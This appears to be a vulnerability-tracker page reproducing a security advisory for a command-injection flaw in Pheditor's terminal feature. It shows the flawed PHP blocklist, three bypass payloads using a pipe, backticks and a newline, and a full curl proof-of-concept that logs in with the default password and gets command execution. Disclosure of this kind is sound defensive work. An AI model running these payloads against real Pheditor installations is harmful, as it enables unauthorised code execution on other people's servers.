Kestrel
대시보드로 돌아가기
CVE-2026-55578HIGH· 8.8GHSA대응게시일: 2026. 07. 16.수정일: 2026. 07. 16.

Pheditor: Incomplete command sanitization in terminal feature allows RCE via pipe operator, backtick substitution, and newline injection

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
8.8high

이론적 심각도 점수

EPSS

예측 데이터 없음

KEV
미등재

실측 악용 기록 없음

권장 대응 기한14일 이내CISA SSVC 기준

2주 이내 패치 — 우선 조치 대상

완전 장악외부 노출· KEV 미등재 · 자동화 어려움 · 완전 장악 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터네트워크
공격 복잡도낮음
필요 권한낮음
사용자 상호작용불필요
범위불변
영향
기밀성 영향높음
무결성 영향높음
가용성 영향높음
버전별 점수
CVSS 3.18.8HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

상세 설명

Summary

The terminal feature in Pheditor uses an incomplete character blocklist to sanitize user-supplied commands before passing them to shell_exec(). After the fix for GHSA-9643-6xjp-vx57 (which added $ to the blocklist), the characters | (single pipe), ` (backtick), and the newline byte (0x0A) remain unblocked. An authenticated user with the terminal permission (enabled by default) can leverage any of these to bypass the TERMINAL_COMMANDS allowlist and execute arbitrary OS commands as the web server user.

Details

Tested repository: https://github.com/pheditor/pheditor

Tested commit: e538f05b6faec99e5b23726bc9c17d6b57774297 (current HEAD on main)

Affected version: Pheditor 2.0.1+

The terminal handler receives $_POST['command'] and passes it to shell_exec() at pheditor.php:586:

bash
1$output = shell_exec((empty($dir) ? null : 'cd ' . escapeshellarg($dir) . ' && ') . $command . ' && echo \ ; pwd');

The blocklist at pheditor.php:557 checks for &, ;, ||, and $, but does not block |, `, or newline (0x0A):

bash
1if (strpos($command, '&') !== false || strpos($command, ';') !== false || strpos($command, '||') !== false || strpos($command, '$') !== false) {
2 echo json_error("Illegal character(s) in command (& ; ||)\n");
3 exit;
4}

The TERMINAL_COMMANDS prefix check at pheditor.php:566-573 only validates that the command starts with an allowed name. All three bypasses start with a whitelisted command prefix.

Bypass 1 — Single pipe |:
The filter checks for || but not single |. Payload ls | id passes both the blocklist and the whitelist (starts with ls). The shell executes: cd '<dir>' && ls | id && echo \ ; pwd, running id.

Bypass 2 — Backtick `:
Backtick is not in the blocklist. Payload echo `id` passes the blocklist and whitelist (starts with echo). The shell executes id inside backtick substitution.

Bypass 3 — Newline 0x0A:
A literal newline byte is not in the blocklist. Payload ls\ntouch /tmp/proof (where \n is 0x0A) passes both checks. Only the first line is validated against the whitelist. The second line runs as an independent command.

PoC

Environment: Any system running PHP 8.x with pheditor.php deployed and shell_exec() enabled.

Setup:

text
1git clone https://github.com/pheditor/pheditor /tmp/pheditor-test
2cd /tmp/pheditor-test
3php -S localhost:8080 pheditor.php &

Authenticate (default password admin):

bash
1curl -s -c /tmp/cookies.txt -X POST http://localhost:8080/pheditor.php -d "pheditor_password=admin" -L > /dev/null
2TOKEN=$(curl -s -b /tmp/cookies.txt http://localhost:8080/pheditor.php | grep -o 'token = "[a-f0-9]*"' | grep -o '"[a-f0-9]*"' | tr -d '"')

Bypass 1 (pipe |):

bash
1curl -s -b /tmp/cookies.txt -X POST http://localhost:8080/pheditor.php \
2 --data-urlencode "action=terminal" \
3 --data-urlencode "token=$TOKEN" \
4 --data-urlencode "command=ls | id" \
5 --data-urlencode "dir="

Expected: {"error":false,"message":"OK","result":"uid=... gid=...\n",...}id output proves RCE.

Bypass 2 (backtick):

bash
1curl -s -b /tmp/cookies.txt -X POST http://localhost:8080/pheditor.php \
2 --data-urlencode "action=terminal" \
3 --data-urlencode "token=$TOKEN" \
4 --data-urlencode 'command=echo `id`' \
5 --data-urlencode "dir="

Expected: Same id output in response.

Bypass 3 (newline 0x0A):

bash
1curl -s -b /tmp/cookies.txt -X POST http://localhost:8080/pheditor.php \
2 --data-urlencode "action=terminal" \
3 --data-urlencode "token=$TOKEN" \
4 --data-urlencode $'command=ls\nid' \
5 --data-urlencode "dir="

Expected: Same id output in response.

Control (blocked command without bypass):

bash
1curl -s -b /tmp/cookies.txt -X POST http://localhost:8080/pheditor.php \
2 --data-urlencode "action=terminal" \
3 --data-urlencode "token=$TOKEN" \
4 --data-urlencode "command=whoami" \
5 --data-urlencode "dir="

Expected: {"error":true,"message":"Command not allowed..."} — allowlist enforced.

Cleanup:

text
1kill %1; rm -rf /tmp/pheditor-test /tmp/cookies.txt

Impact

OS Command Injection (CWE-78). Any authenticated Pheditor user with the terminal permission (enabled by default) can bypass the TERMINAL_COMMANDS allowlist and execute arbitrary OS commands as the web server user. This is a bypass of the partial fix for GHSA-9643-6xjp-vx57 — that fix addressed $() substitution but three additional shell metacharacters remain unblocked.

Attacker privileges: Authenticated user (PR:L). Combined with default password admin, effectively PR:N.

Impact: Full read/write/execute access as the web server user. Confidentiality: High (read any accessible file). Integrity: High (write/delete files, deploy webshells). Availability: High (disrupt services).

Suggested remediation: Parse the command into executable + arguments, validate the executable against TERMINAL_COMMANDS with exact match, pass each argument through escapeshellarg(), or use proc_open() with an argument array to avoid shell interpretation entirely.

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.